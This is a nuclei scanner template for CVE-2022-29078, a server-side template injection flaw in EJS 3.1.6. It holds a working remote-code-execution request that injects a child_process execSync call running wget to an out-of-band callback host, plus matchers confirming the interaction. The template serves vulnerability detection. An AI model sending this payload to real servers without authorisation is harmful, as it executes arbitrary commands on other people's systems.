nuclei-templates/http/cves/2022/CVE-2022-29078.yaml

44 lines
1.5 KiB
YAML
Raw Normal View History

2022-07-19 11:08:32 +00:00
id: CVE-2022-29078
info:
name: Node.js Embedded JavaScript 3.1.6 - Template Injection
2022-07-19 11:08:32 +00:00
author: For3stCo1d
severity: critical
description: |
Node.js Embedded JavaScript 3.1.6 is susceptible to server-side template injection via settings[view options][outputFunctionName], which is parsed as an internal option and overwrites the outputFunctionName option with an arbitrary OS command, which is then executed upon template compilation.
2022-07-19 11:08:32 +00:00
reference:
- https://eslam.io/posts/ejs-server-side-template-injection-rce/
2022-09-19 07:37:33 +00:00
- https://github.com/miko550/CVE-2022-29078
2022-07-19 11:08:32 +00:00
- https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf
- https://nvd.nist.gov/vuln/detail/CVE-2022-29078
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-29078
cwe-id: CWE-1336
cpe: cpe:2.3:a:ejs:ejs:*:*:*:*:*:*:*:*
epss-score: 0.01511
tags: cve,cve2022,ssti,rce,ejs,nodejs,oast
metadata:
max-request: 1
2022-07-19 11:08:32 +00:00
http:
2022-09-16 13:38:28 +00:00
- raw:
- |
GET /page?id={{randstr}}&settings[view%20options][outputFunctionName]=x;process.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27);s HTTP/1.1
Host: {{Hostname}}
2022-07-19 11:08:32 +00:00
2022-09-19 07:37:33 +00:00
matchers-condition: and
2022-07-19 11:08:32 +00:00
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
2022-09-19 07:37:33 +00:00
- type: word
part: body
words:
- "You are viewing page number"
# Enhanced by mp on 2022/10/06